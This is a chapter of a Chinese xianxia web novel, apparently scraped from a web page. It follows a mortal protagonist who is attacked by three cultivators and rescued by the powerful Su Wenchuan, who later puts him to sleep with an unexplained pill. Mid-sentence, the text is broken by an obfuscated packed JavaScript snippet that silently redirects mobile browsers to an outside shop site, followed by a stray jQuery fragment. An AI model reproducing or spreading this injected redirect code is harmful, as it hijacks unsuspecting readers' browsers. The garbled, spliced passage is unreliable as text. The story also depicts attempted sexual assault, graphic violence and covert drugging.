三个人影闪进来,惨白月光勾勒出轮廓。

    观其身形,正是白天那几个修士!

    最右边那个手上还缠着纱布,终日打雁,今日竟叫雁啄了眼。他自觉丢脸,满眼都是阴狠,旁边一人捏诀,似乎隔绝了动静,另一个人手里捏着一张符。

    “美人。”为首的人压低声音笑:“白天那只扁毛畜生呢?交出来,爷几个温柔些。”

    他一副有恃无恐的样子,显然有了什么底牌。

    容暄和往床角缩,后背抵上冰冷的墙壁,努力稳住声音:“你们敢在这里动手,不怕掌柜报官?”

    “报官?”

    那人像是听到了什么笑话,大笑道:“这破地方连个正经捕快都没有,谁来管你?”

    他说着便欺身过来,伸手去扯容暄和的领口:“好好服侍爷,赏你个痛快!”

    “嘭”的一声,隔壁门被一脚踹开,童子冲了出来,高声道:“你们在干什么!”

    他拂尘一挥,却被持符的修士挡下。

    童子愣了一秒,旋即愤怒道:“固若金汤符?你们以为这就能为所欲为?”

    他摆出一个起势,领头的修士抬手便是一道气劲,将他震退两步,拂尘差点脱手。

    修士那只没受伤的手上多了个玉环,幽光流转,一看便知是品阶不低的法宝。

    “为所欲为又如何?”领头的嗤笑一声,目光落在容暄和身上,像在看唾手可得的猎物:“等收拾完这小美人,再收拾你!”

    他朝容暄和扑过来,容暄和一连往窗边退了几步,衣带被扯住,整个人晃了晃,紧接着被强行扯了过去。

    “老实点,过来!”

    青年躲过搂腰的手,用了最快速度脱下外袍,抓着鸟就要跳窗跑路。

    熟料胸口一阵挣动,小白鸟猛地从他怀里钻出来,翅膀一展,直接飞扑出去。

    【叮咚!检测到宿主有生命危险,已消耗300恩爱值触发“夫君,可来相助”效果。】

    “你不要总是自作主张啊!”

    容暄和伸手去抓,却只抓住一把空气。

    没人看清它怎么出手的。

    只听几声惨叫接连响起,持符的修士直接飞了出去,撞碎门板,摔在走廊上一动不动。

    紧接着是一声清脆的玉碎,领头修士刚想施法,手腕瞬间被一枚白羽洞穿,鲜血四溅。

    这可比被鸟啄痛多了,他张嘴痛呼,脸上又挨了一记狠的,整个人被扇得侧翻过去,“哇”地吐出一口血沫,牙都松了几颗。

    和童子交手的那个修士转身想跑,小白鸟落在他头顶,修士扑通跪倒,面上流下几条血痕。

    干净利落,一击即中。

    屋里骤然安静下来,容暄和目瞪口呆地看着一地狼藉。

    这才几息功夫,三个修士全都瘫在了地上,断手的断手,吐血的吐血,爬都爬不起来。

    青年咽了口唾沫,胆战心惊地看向半空的小鸟。

    他刚才还把这祖宗按在怀里,堪比蚊子保护大炮。小白鸟如果是个人,恐怕都被他逗笑了吧?

    领头的修士挣扎着抬起头,手上还抓着容暄和的外袍,红着眼睛盯死了容暄和:“呸!你知道我师父是谁吗?你以为有这只畜生就没事了?我告诉你,我师父是金丹期修士,你等死吧!你和这破鸟都逃不掉,到时候把你筋脉废了扔进——”

    下一瞬,一股磅礴的威压从天而降,生生掐断了他后面所有话。

    所有人都感觉到了那股气息。

    从客栈外传来,由远及近,不过几个呼吸便降临头顶,仿佛无形的大山沉沉压下。

    三个修士脸色瞬间变得惨白。

    同一时间,走廊尽头传来不疾不徐的脚步声。

    容暄和一只脚已经踩上了窗框,还是忍住跳下去的冲动,谨慎地转头看去。

    月光流泻,一个人从阴影里走出来。

    他玉冠长发,眉目如霜赛雪,素白衣袂无风自动,仅仅只是站在那里,就让整间屋子里的空气都为之凝滞。

    “你……你是何人!”

    领头修士情不自禁打了个寒颤。

    苏问川冷淡的目光落在他身上,目光没有任何波澜,像是在看一具尸体。

    然后,他的视线越过他们,落在窗边的容暄和身上。

    青年半边身子探出窗外,内衫在方才拉扯中乱了几分,露出一截苍白的锁骨,头发也散了,几缕垂在脸侧,看起来狼狈又脆弱。

    他仰着脸看着来人,目光小心翼翼的。

    苏问川眉心几不可察地皱了皱。

    “哪里伤了?”他沉声开口。

    容暄和僵硬摇头,生怕一出声就是血溅当场——他毫不怀疑这尊杀神能做出当场杀人的事。

    领头修士见事不好,嘴唇无声翕动几下,似乎在催动法咒,手中紧攥着的容暄和的外袍燃起绿色幽焰,眼看幽光就要飞出屋子。

    还没经过苏问川身边就被拦腰截断。

    他转过身爬了几步,马上被一只无形的大掌攥住,重重撞在墙上,再摔下来时已没了声息。

    另外两个吓得浑身发抖,连惨叫都不敢发出,腿间洇出深色的印子。

    童子回过神来,搭着拂尘俯身:“尊主。”

    苏问川淡淡道:“打扫干净。”

    说完,他关上门,灵力一卷,将血腥味和一地狼藉关在门外。

    白衣男人走过来,把窗边的容暄和拎回床上,在床沿站定,居高临下看着蜷缩得更紧的青年。

    “怕?”他问。

    容暄和不受控制地抖了一下,下意识挤出笑:“不、不怕。”

    苏问川看了他片刻,俯下身,抬手将散落的碎发别到他耳后,指腹擦过容暄和的耳廓,声音依旧是淡淡的:“撒谎。”

    容暄和垂下眼,抖成这样了,求生的本能让他还在嘴硬:“我就是没见过杀人,所以才有点……啊,不是说您错了的意思,那个人罪有应得,但就是……”

    他说不下去了,看苏问川似乎要坐下来,吓得眼睛都红了一圈。

    青年本能地往里缩,却忘了自己已经缩到床的最里面,再怎么也没有退路,脑袋拼命低着,恨不能嵌进墙里去,像只惊吓过度的兔子。

    苏问川按住他的膝盖,感受到他颤抖得更厉害了,眉毛微皱:“那人没死。”

    “我……啊?”

    容暄和愣住了。

    他眨了两下眼睛

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614179|206034||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,有些不相信耳朵里的话。

    “在你看来,我就是这样暴戾嗜杀的歪魔邪道?”苏问川手指捏住他的下巴,定定看着他。

    青年跟他对视两秒,心虚地小声说:“……没有。”

    其实有。

    修真界这种强者为尊的地方,杀个人夺个宝大概跟呼吸一样正常。

    但容暄和穿越前偏偏是个连恐怖密室都不敢玩的胆小鬼,亲眼看到有人嘎巴一下飞出去,生怕苏问川让自己也这样飞一遭。

    苏问川直勾勾盯着他:“还在撒谎。”

    容暄和有些急了,语无伦次地反驳道:“我真的不怕啊,我的看法对您有那么重要吗?不就是收拾几个人,反正我没有那么想就是了,再说了,您还……还……”

    还了半天,到底没敢把后面的话补完。

    他想说苏问川还有道侣,干嘛这么在意他一个小小凡人的想法。

    苏问川的手从他下巴移开,转身关了窗,看架势像要留下来。

    容暄和咬了咬嘴唇,默默往里面挪,空出位置。

    他想不出该怎么拒绝同睡一床。

    虽然是他先开口要共度良宵,但苏问川昨天骂完他后,似乎也没有拒绝这件事的意思。

    双标,花心,知人知面不知心。

    容暄和在心里偷偷骂他,左右看了看,后知后觉发现了什么:“前辈,您的传信鸟好像不见了。”

    好歹也是保护了他的救命恩鸟,他都没注意到什么时候没的。

    “不必管它。”

    苏问川解下外袍,走回床边。

    就在这时,安静的室内忽然响起一声浅浅的咕噜。

    两双眼睛对视,容暄和的脸腾地红了,低头小声说:“我、我有点饿了。”

    为了上镜要求,他早就习惯了少吃,哪能想到还没火起来就被连根拔起,换了个世界和身体。

    苏问川取出一只玉瓶,倒出一枚白色丸子:“吃了。”

    容暄和接过看了看:“这是什么?”

    苏问川不答,直接抵到他唇边,他只好就着对方的手吃了,没什么味道,也没有饱腹感。

    他还想再问,一阵昏迷般的睡意骤然袭来。

    容暄和的最后一个念头是——不对,怎么是催眠丹?

    “……”

    苏问川接住倒下的青年,掀开被子盖好。

    青年闭着眼睛,方才的战战兢兢消失得无影无踪,饱满的嘴唇抿着,胸口微微起伏,有几分难得的平静恬淡。

    男人浅褐色的眸子凝视了片刻,随即跟着躺了上来,将青年柔软单薄的身躯半搂半抱拢进怀中。

    青年一点防备也没有,乖乖靠在他怀里,脸颊贴着他的胸膛,挤出一点软乎乎的肉。

    苏问川把手指搭上他手腕,极其谨慎地将自己的灵力渡了进去,顺着那股温和的药力一同流转。

    青年没有排斥他,这副躯壳空空荡荡,经脉里没有一丝灵力,是纯粹的凡人之躯。

    然而在灵力和药力的双重洗刷下,它并没有变得更加强韧——灵力一过,什么也留不下来。

    苏问川蹙起眉毛。

    与此同时,青年的腕间浮现出淡淡的红色纹路。